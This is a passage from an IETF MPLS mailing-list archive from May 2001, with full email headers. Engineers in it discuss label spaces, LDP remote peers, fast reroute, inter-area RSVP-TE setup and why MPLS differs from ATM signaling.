	for <mpls@UU.NET>; Tue, 1 May 2001 23:45:42 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknet29821
	for <mpls@UU.NET>; Tue, 1 May 2001 23:45:42 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA02329
	for <mpls@UU.NET>; Tue, 1 May 2001 19:45:39 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA00043
	for <mpls@UU.NET>; Tue, 1 May 2001 19:45:40 -0400 (EDT)
Message-ID: <3AEF4ACC.BFFEEB73@marconi.com>
Date: Tue, 01 May 2001 19:46:20 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com> <20010501115744.B6029@doit.wisc.edu> <3AEEF103.A5A31094@marconi.com> <3AEF2454.76A0A702@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric Gray wrote:
>> 
>> Certain things (like LDP remote peers and bypass tunnels) become
>> difficult with per-interface label spaces.  The routers must be
>> able to deal with the possibility that the next-hop for an
>> already-established LSP may jump from one interface to another.
>> When this happens, its label must also jump.  If the label is
>> already in use on the new interface, however, then one or the
>> other must be preempted.
> 
> Could be that the terminology we're using is ambiguous, but I'm not
> sure I agree with the above.  One way that an LSR might deal with
> the possibility of a next hop change for an LSP is to use liberal
> label retention.

This will work for most cases.  If the next-hop for an ordinary LSP
changes, there's no problem.  You either use the label you already have
(if retention is liberal and you have a label) or you request a new one.

Some of the fast-recovery drafts, however, don't allow time for that. 
They assume that labels will already be in place on the backup
interface.  Which means the label must either be allocated on a
per-platform basis, or it must be pre-reserved on the backup interface -
using scarce resources.

It is possible to not allocate the label on the backup interface if you
can be certain that no other LSP uses that label's value, however.  This
can simulate the effect of a platform label space (at least as much as
is necessary for the recovery mechanism) without wasting resources.

> For LDP remote peers, labels are stacked and labels exchanged
> by remote peers are only visible when all labels above them in the
> stack have been popped.

Correct.  This only really impacts the edge router.  Transit routers
only use the top label.

The big deal here is that the TCP session between the remote peers may
hop from interface to interface if the routing table changes.  If labels
are per-interface, then any labels mapped as part of that TCP session
must hop interface with the TCP session.

> In this case, the term 'interface' takes on an interesting meaning.
> One approach (I think the one you're assuming and - possibly - the
> common interpretation), is to treat all LSPs between two remote
> LSRs as if they are all part of the same 'interface' - in which
> case the distinction between label spaces (per-interface, and
> per-platform) is moot.   This approach is the simplest, and - since
> the labels used are below the top level label in forwarding packets
> - there is unlikely to be a hardware reason why this cannot be
> supported.

I think what you're describing is a situation where the TCP connection
between remote peers is router-to-router, and not interface-to-
interface.  So nothing changes if the TCP stream hops interfaces.

But this can't work if you have per-interface label spaces.

Since it is not normally possible to use anything more than the label's
value when determining the meaning of that label, a remote peer's label
space must be shared with the label space of whatever interface the TCP
session is going out on.

If the egress router is using per-interface label spaces and the inner
label is only known to one interface, then that inner label will only be
processed if the packet arrives on that interface.  If a fast reroute
causes the inner label to be placed into a different LSP, and the packet
arrives at the egress on a different interface, that interface won't
know what to do with the inner label - or it may have a different NHLFE.

The problem doesn't exist with per-platform label spaces, because every
interface knows about the inner label.  But there doesn't seem to be any
easy solution to this for boxes that can't support per-platform label
spaces, unless per-platform functionality is faked - perhaps by
duplicating remote-peer labels across all interfaces - which will waste
resources.

> I believe that label distribution paradigms (e.g. - MPLS BGP)
> that rely on use of the per-platform label space, explicitly state
> this as a requirement.  Perhaps I'm wrong, however, and they
> simply count on the implementer to do the right thing.  :-)

I'm not sure what's a hard requirement here.  IMO, per-platform
functionality should be possible to fake on those routers that don't
actually support it.  But the amount of work and complexity involved may
be too much to make it worthwhile.

-- David


From owner-mpls@UU.NET  Tue May  1 21:15:52 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA13547
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 21:15:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkney15533;
	Wed, 2 May 2001 01:14:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkney00918
	for mpls-outgoing; Wed, 2 May 2001 01:13:42 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkney00910
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 01:13:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkney09356
	for <mpls@UU.NET>; Wed, 2 May 2001 01:12:39 GMT
Received: from sktelecom.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.236.1.20])
	id QQkney27942
	for <mpls@UU.NET>; Wed, 2 May 2001 01:12:38 GMT
Received: from mrchang (localhost [127.0.0.1])
	by sktelecom.com (8.10.1/8.10.1) with SMTP id f420fLN09235
	for <mpls@UU.NET>; Wed, 2 May 2001 09:41:21 +0900 (KST)
Message-ID: <008b01c0d29f$c8501b60$77131796@sktelecom.com>
From: "Rae M. Chang" <cmr@sktelecom.com>
To: <mpls@UU.NET>
Subject: A fundamental question
Date: Wed, 2 May 2001 09:35:25 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0088_01C0D2EB.3780A860"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mpls@UU.NET
Precedence: bulk


This is a multi-part message in MIME format.

------=_NextPart_000_0088_01C0D2EB.3780A860
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

SGVsbG8sDQoNCkkgaGF2ZSBhIGZ1bmRhbWVudGFsIGRvdXRiIG9uIE1QTFMgdHJhZmZpYyBlbmdp
bmVlcmluZy4NCihwbHMgdGFrZSBpdCBhY2NvdW50IG15IHBvb3IgdW5kZXJzdGFuZGluZyBvbiBB
VE0gcm91dGluZyBzdHVmZnMuKQ0KV2hhdCBJIGNhbid0IGZpZ3VyZSBpdCBvdXQgaXMgaWYgYSB1
c2VyIHBhcnQgY29ubmVjdGVkIHRvIHRoZSBBVE0gbmV0d29yayBjYW4gZHluYW1pY2FsbHkgc2V0
dXAgYSBTVkMNCnRvIHRoZSBvdGhlciB1c2VyIHBhcnQuIENhbiB0aGUgVU5JIGFuZCBQTk5JIHN0
dWZmcyBiZSB1c2VkIHRvIHNldCB1cCBpdD8gDQpJZiB0aGF0J3MgdHJ1ZSwgd2hhdCdyZSB0aGUg
ZGlmZmVyZW5jZXMgd2l0aCB0aGUgTFNQIHNldHVwIGFjcm9zcyBBVE0gbmV0d29yayB1c2luZyBh
bm90aGVyDQpzaWduYWxpbmcgbWVjaGFuaXNtLCBvciBNUExTPw0KV2h5IGRvbid0IHRoZXkgdXNl
IGV4aXN0aW5nIEFUTSBzaWduYWxsaW5nIG1ldGhvZHMgdG8gYWNoaWV2ZSB0aGUgdHJhZmZpYyBl
bmdpbmVlcmluZyBvZiBNUExTPw0KKGkga25vdyBvZiB0aGUgQVRNJ3MgTiBzcXVhcmUgY29tcGxl
eGl0eSBpc3N1ZSB3aXRoIFBWQyBzZXR1cCBvbiB0aGUgSVAgb3ZlciBBVE0gbW9kZWwuDQpidXQs
IGluIG15IHRob3VnaHQsIHlvdSBjYW4ganVzdCBzZXR1cCBuZWNlc3NhcnkgVkNzIG9uLWRlbWFu
ZCBiYXNpcyBsaWtlIE1QTFMgVEUpDQoNCi1SYWUNCg0KDQo=

------=_NextPart_000_0088_01C0D2EB.3780A860
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA1LjUwLjQ1MjIuMTgwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+SGVsbG8sPC9ESVY+DQo8RElWPjxG
T05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPkkgaGF2ZSBhIGZ1bmRhbWVudGFs
IGRvdXRiIG9uIE1QTFMgdHJhZmZpYyBlbmdpbmVlcmluZy48L0RJVj4NCjxESVY+KHBscyB0YWtl
IGl0IGFjY291bnQgbXkgcG9vciB1bmRlcnN0YW5kaW5nIG9uIEFUTSByb3V0aW5nIHN0dWZmcy4p
PEJSPldoYXQgDQpJIGNhbid0IGZpZ3VyZSBpdCBvdXQgaXMgaWYgYSB1c2VyIHBhcnQgY29ubmVj
dGVkIHRvIHRoZSBBVE0gbmV0d29yayBjYW4gDQpkeW5hbWljYWxseSBzZXR1cCBhIFNWQzxCUj50
byB0aGUgb3RoZXIgdXNlciBwYXJ0LiBDYW4gdGhlIFVOSSBhbmQgUE5OSSBzdHVmZnMgDQpiZSB1
c2VkIHRvIHNldCB1cCBpdD8gPEJSPklmIHRoYXQncyB0cnVlLCB3aGF0J3JlIHRoZSBkaWZmZXJl
bmNlcyB3aXRoIHRoZSBMU1AgDQpzZXR1cCBhY3Jvc3MgQVRNIG5ldHdvcmsgdXNpbmcgYW5vdGhl
cjxCUj5zaWduYWxpbmcgbWVjaGFuaXNtLCBvciBNUExTPzxCUj5XaHkgDQpkb24ndCB0aGV5IHVz
ZSBleGlzdGluZyBBVE0gc2lnbmFsbGluZyBtZXRob2RzIHRvIGFjaGlldmUgdGhlIHRyYWZmaWMg
DQplbmdpbmVlcmluZyBvZiBNUExTPzxCUj4oaSBrbm93IG9mIHRoZSBBVE0ncyBOIHNxdWFyZSBj
b21wbGV4aXR5IGlzc3VlIHdpdGggUFZDIA0Kc2V0dXAgb24gdGhlIElQIG92ZXIgQVRNIG1vZGVs
LjxCUj5idXQsIGluIG15IHRob3VnaHQsIHlvdSBjYW4ganVzdCBzZXR1cCANCm5lY2Vzc2FyeSBW
Q3Mgb24tZGVtYW5kIGJhc2lzIGxpa2UgTVBMUyBURSk8L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+
DQo8RElWPjxGT05UIHNpemU9Mj4tUmFlPC9GT05UPjxCUj48QlI+PC9ESVY+PC9CT0RZPjwvSFRN
TD4NCg==

------=_NextPart_000_0088_01C0D2EB.3780A860--



From owner-mpls@UU.NET  Wed May  2 05:22:41 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA04250
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 05:22:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkngf02827;
	Wed, 2 May 2001 09:21:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkngf10116
	for mpls-outgoing; Wed, 2 May 2001 09:20:32 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkngf10103
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 09:20:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkngf07504
	for <mpls@UU.NET>; Wed, 2 May 2001 09:20:05 GMT
Received: from malmo.trab.se by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: malmo.trab.se [131.115.48.10])
	id QQkngf16276
	for <mpls@UU.NET>; Wed, 2 May 2001 09:20:05 GMT
Received: from trab-hermes.haninge.trab.se (trab-hermes.haninge.trab.se [131.115.158.15]) by malmo.trab.se (8.10.1/TRAB-primary-2) with ESMTP id f429K2u11437; Wed, 2 May 2001 11:20:02 +0200 (MEST)
Received: by trab-hermes.haninge.trab.se with Internet Mail Service (5.5.2448.0)
	id <GXJWCYL2>; Wed, 2 May 2001 11:20:01 +0200
Message-ID: <778DFE9B4E3BD111A74E08002BA3DC0D02254428@trab-hermes.haninge.trab.se>
From: Nhat Thanh Hoang <Nhat.T.Hoang@telia.se>
To: "'Ibrahim Okumus'" <iokumus@mailbox.syr.edu>,
        Nhat Thanh Hoang
	 <Nhat.T.Hoang@telia.se>
Cc: mpls@UU.NET
Subject: RE: MPLS TE question
Date: Wed, 2 May 2001 11:20:00 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Ibrahim,

I don't have any pointer to the inter-area LSP setup issue than you and
Suhakar have referred to.


/Nhat Thanh

-----Original Message-----
From: Ibrahim Okumus [mailto:iokumus@mailbox.syr.edu]
Sent: den 30 april 2001 17:19
To: Nhat Thanh Hoang
Cc: mpls@UU.NET
Subject: RE: MPLS TE question


Hi Nhat,
Do you have pointers to the inter-area LSP setup?
Thanks,



_________________________
 Ibrahim Taner OKUMUS           





On Mon, 30 Apr 2001, Nhat Thanh Hoang wrote:

> Hi,
> 
> I Think you can find the answer at the following drafts:
> http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-lsp-tunnel-08.txt
> http://www.ietf.org/internet-drafts/draft-ietf-isis-traffic-02.txt
> 
> As I know contraint-based (the constraints such as bandwidth, link colors)
> signaled LSPs can only be established within one IS-IS area, because the
> traffic-engineering database is only propagating within an area. But, I
> think there are RSVP-TE implementations (are vendor dependent)that support
> inter-area LSPs by explicitly and strictly point out hop-by-hop along the
> LSP you want to establsih and without the constraints: bandwidth and
> linkcoloring.
> See also the comment line below:
> 
> -----Original Message-----
> From: Dirk Maeckelberghe [mailto:Dirk.Maeckelberghe@swift.com]
> Sent: den 30 april 2001 14:53
> To: mpls@UU.NET
> Subject: MPLS TE question
> 
> 
> Hello,
> 
> Can you point me to the right references or help answer underneath
> questions.
> 
> I need to know if I can use the TE extensions to setup an LSP using
RSVP-TE
> ( cross area )  in case my IGP is  hierarchical IS-IS (
> L1 and L2 ).
> Can I assume that summarization happens at area boundaries and that the
> detailed TE info does not get propagated inside the area ?
> 
> - Yes, You are right about that.
> 
> This is case A to B where A,B LER and L2A and L2B LSR
> 
> A - area 1 - L2A ---- L2X --- L2B - area 2 - B
> 
> 
> If now I am only extending my MPLS cloud to the L2 routers ( L2A - L2B are
> now LER ), A and B are NON-MPLS routers,
> can I then use the TE extensions of IS-IS to do TE between the L2A and
L2B.
> I understand that the L2 routers only  form L2 adjacencies, are the TE
> extensions communicated between them ?
> 
> - I'm not sure if I understand you correctly, and I suppose that now you
> mean the changed scenario is L2A, L2X and L2B are Level 2 MPLS-capable
> routers, then the answer to your question is YES.
> 
> - If I'm wrong please correct me.
> 
> - I hope it would help something
> 
> Cheers,
> /Nhat Thanh
> 
> Telia Research AB
> 
> A - area 1 - L2A ---- L2X --- L2B - area 2 - B
> 
> Thanks,
> 
> Dirk
> 


From owner-mpls@UU.NET  Wed May  2 10:12:07 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12050
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 10:12:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkngy08857;
	Wed, 2 May 2001 14:10:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkngy09766
	for mpls-outgoing; Wed, 2 May 2001 14:09:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkngy09758
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 14:09:33 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkngy05309
	for <mpls@UU.NET>; Wed, 2 May 2001 14:07:53 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkngy25783
	for <mpls@UU.NET>; Wed, 2 May 2001 14:07:52 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA14995
	for <mpls@UU.NET>; Wed, 2 May 2001 10:07:49 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA07203
	for <mpls@UU.NET>; Wed, 2 May 2001 10:07:49 -0400 (EDT)
Message-ID: <3AF014AF.BFEE065B@marconi.com>
Date: Wed, 02 May 2001 10:07:44 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: A fundamental question
References: <008b01c0d29f$c8501b60$77131796@sktelecom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Rae M. Chang" wrote:
> 
> I have a fundamental doutb on MPLS traffic engineering.
> (pls take it account my poor understanding on ATM routing stuffs.)
> What I can't figure it out is if a user part connected to the ATM
> network can dynamically setup a SVC to the other user part. Can the
> UNI and PNNI stuffs be used to set up it?

No.  ATM signaling and MPLS signaling are two different things.  One is
not used to setup the other.

An ATM switch acting as LSR (a transit router) will ultimately have the
same kind of cell-forwarding installed on its fabric with each protocol,
but that's where the similarities end.

An ATM switch acting as LER (an edge router) has different semantics on
the data plane.  On ingress, it must apply labels to incoming unlabeled
traffic (or push labels if one LSP is being tunneled through another.) 
On egress, it must be able to pop labels and make forwarding decisions
based on the result.

> If that's true, what're the differences with the LSP setup across
> ATM network using another signaling mechanism, or MPLS?
> Why don't they use existing ATM signalling methods to achieve the
> traffic engineering of MPLS?

ATM's routing and signaling protocols are closely tied to ATM's
addressing architecture.  These protocols are not based on IP, and they
do not scale up to networks the size of the internet.  Finally, ATM only
works on ATM interfaces - it doesn't work over PPP, Frame Relay,
Ethernet, or other types of interfaces that are commonly found in
networks.

MPLS is intended to solve these problems.  The routing protocols are
well-established IP protocols (OSPF, IS-IS, BGP).  The signaling
protocols are designed around IP.  And MPLS works over all IP-
compatible interfaces.  Routers of all kinds (ATM, Frame, IP, etc.) can
interoperate in a single MPLS cloud.

> (i know of the ATM's N square complexity issue with PVC setup on the
> IP over ATM model.  but, in my thought, you can just setup necessary
> VCs on-demand basis like MPLS TE)

On-demand setup works fine in an enterprise network.  It doesn't work in
a core network.  When you've got hundreds of GB/s of data flowing
through a network, the delays needed to dynamically allocate new VCs (or
LSPs) will almost certainly be unacceptible.

MPLS avoids the N^2 problem in two ways:

1: The LSPs follow the routing protocols' shortest-paths.  Meaning
   you don't necessarily need an LSP to get from everywhere to
   everywhere.  Only along the shortest routed paths.

2: Routers that support label merging can greatly reduce the amount
   of resources required.  Two LSPs arriving at a single transit
   router, that are intended to terminate at the same egress router
   may be merged (assuming there are no QoS concerns, of course.),
   eliminating the need for the second LSP if the downstream rouers.

-- David


From owner-mpls@UU.NET  Wed May  2 10:40:02 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13063
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 10:39:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknha18905;
	Wed, 2 May 2001 14:37:57 GMT
Received: by mail-control.mail.uu.net 
	id QQknha13010
	for mpls-outgoing; Wed, 2 May 2001 14:37:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknha12997
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 14:37:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknha26374
	for <mpls@UU.NET>; Wed, 2 May 2001 14:34:12 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: oe72.pav1.hotmail.com [64.4.30.207])
	id QQknha14468
	for <mpls@UU.NET>; Wed, 2 May 2001 14:34:11 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 2 May 2001 07:34:11 -0700
X-Originating-IP: [66.30.55.128]
From: "Jeremy" <jledbett007@hotmail.com>
To: <mpls@UU.NET>
References: <008b01c0d29f$c8501b60$77131796@sktelecom.com> <3AF014AF.BFEE065B@marconi.com>
Subject: Re: A fundamental question
Date: Wed, 2 May 2001 10:38:49 -0400
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Message-ID: <OE724OHfrramDA7e8Rc00005f3e@hotmail.com>
X-OriginalArrivalTime: 02 May 2001 14:34:11.0111 (UTC) FILETIME=[F3E5E370:01C0D314]
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Is their a table available that compares/contrasts ATM vs. MPLS?
Thanks, Jeremy.
----- Original Message ----- 
From: "David Charlap" <david.charlap@marconi.com>
To: <mpls@UU.NET>
Sent: Wednesday, May 02, 2001 10:07 AM
Subject: Re: A fundamental question


> "Rae M. Chang" wrote:
> >
> > I have a fundamental doutb on MPLS traffic engineering.
> > (pls take it account my poor understanding on ATM routing stuffs.)
> > What I can't figure it out is if a user part connected to the ATM
> > network can dynamically setup a SVC to the other user part. Can the
> > UNI and PNNI stuffs be used to set up it?
> 
> No.  ATM signaling and MPLS signaling are two different things.  One is
> not used to setup the other.
> 
> An ATM switch acting as LSR (a transit router) will ultimately have the
> same kind of cell-forwarding installed on its fabric with each protocol,
> but that's where the similarities end.
> 
> An ATM switch acting as LER (an edge router) has different semantics on
> the data plane.  On ingress, it must apply labels to incoming unlabeled
> traffic (or push labels if one LSP is being tunneled through another.)
> On egress, it must be able to pop labels and make forwarding decisions
> based on the result.
> 
> > If that's true, what're the differences with the LSP setup across
> > ATM network using another signaling mechanism, or MPLS?
> > Why don't they use existing ATM signalling methods to achieve the
> > traffic engineering of MPLS?
> 
> ATM's routing and signaling protocols are closely tied to ATM's
> addressing architecture.  These protocols are not based on IP, and they
> do not scale up to networks the size of the internet.  Finally, ATM only
> works on ATM interfaces - it doesn't work over PPP, Frame Relay,
> Ethernet, or other types of interfaces that are commonly found in
> networks.
> 
> MPLS is intended to solve these problems.  The routing protocols are
> well-established IP protocols (OSPF, IS-IS, BGP).  The signaling
> protocols are designed around IP.  And MPLS works over all IP-
> compatible interfaces.  Routers of all kinds (ATM, Frame, IP, etc.) can
> interoperate in a single MPLS cloud.
> 
> > (i know of the ATM's N square complexity issue with PVC setup on the
> > IP over ATM model.  but, in my thought, you can just setup necessary
> > VCs on-demand basis like MPLS TE)
> 
> On-demand setup works fine in an enterprise network.  It doesn't work in
> a core network.  When you've got hundreds of GB/s of data flowing
> through a network, the delays needed to dynamically allocate new VCs (or
> LSPs) will almost certainly be unacceptible.
> 
> MPLS avoids the N^2 problem in two ways:
> 
> 1: The LSPs follow the routing protocols' shortest-paths.  Meaning
>    you don't necessarily need an LSP to get from everywhere to
>    everywhere.  Only along the shortest routed paths.
> 
> 2: Routers that support label merging can greatly reduce the amount
>    of resources required.  Two LSPs arriving at a single transit
>    router, that are intended to terminate at the same egress router
>    may be merged (assuming there are no QoS concerns, of course.),
>    eliminating the need for the second LSP if the downstream rouers.
> 
> -- David
> 


From owner-mpls@UU.NET  Wed May  2 12:42:48 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16783
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 12:42:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhg22689;
	Wed, 2 May 2001 16:13:38 GMT
Received: by mail-control.mail.uu.net 
	id QQknhg01378
	for mpls-outgoing; Wed, 2 May 2001 16:13:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknhg01312
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 16:12:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhg07858
	for <mpls@UU.NET>; Wed, 2 May 2001 16:10:24 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknhg16103
	for <mpls@UU.NET>; Wed, 2 May 2001 16:10:24 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA26704
	for <mpls@UU.NET>; Wed, 2 May 2001 12:10:22 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA10792
	for <mpls@UU.NET>; Wed, 2 May 2001 12:10:22 -0400 (EDT)
Message-ID: <3AF03169.6F4816FF@marconi.com>
Date: Wed, 02 May 2001 12:10:17 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: MPLS Mailing List <mpls@UU.NET>
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com> <20010501115744.B6029@doit.wisc.edu> <3AEEF103.A5A31094@marconi.com> <3AEF2454.76A0A702@sandburst.com> <3AEF4ACC.BFFEEB73@marconi.com> <3AF02869.A71909FC@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric Gray wrote:
>> 
>> It is possible to not allocate the label on the backup interface
>> if you can be certain that no other LSP uses that label's value,
>> however.  This can simulate the effect of a platform label space
>> (at least as much as is necessary for the recovery mechanism)
>> without wasting resources.
> 
> I'm not sure of the distinction between allocating a label (in this
> usage) and being certain that no other LSP will use it.  If you
> allocate it without signaling, then you are essentially 'reserving'
> it.  If you are ensuring that is is not used for any other LSP,
> then you are essentially 'reserving' it.

Not quite.

If the scarce resource is the range of label values themselves, then you
are right.  Keeping other LSPs away from it is the same as a
reservation.

But if your scarce resource is something else - perhaps table entries in
a forwarding chip - then this is not necessarily the case.  To actually
"reserve" a value would be to install it in the port's forwarding
hardware, while simply avoiding the use of a specific label value can be
done without installing anything in the forwarding hardware. 

In other words, it may be possible to consume labels without consuming
all of the forwarding resources that normally go along with those
labels.

>> The big deal here is that the TCP session between the remote peers
>> may hop from interface to interface if the routing table changes.
>> If labels are per-interface, then any labels mapped as part of
>> that TCP session must hop interface with the TCP session.
> 
> This is skirting a thin line.  TCP is not normally associated with
> an interface and not every implementation pays strict attention to
> the interface over which a TCP connection is maintained.  Therefore,
> relying on label validity to jump around with TCP connectivity will
> most probably lead to (if it is not already) a protocol error.

Obviously, if the TCP connection's interface can't be tracked, then
remote peers can't work without per-platform label spaces (or an
emulation thereof.)

>> But this can't work if you have per-interface label spaces.
>>
>> Since it is not normally possible to use anything more than the
>> label's value when determining the meaning of that label, a remote
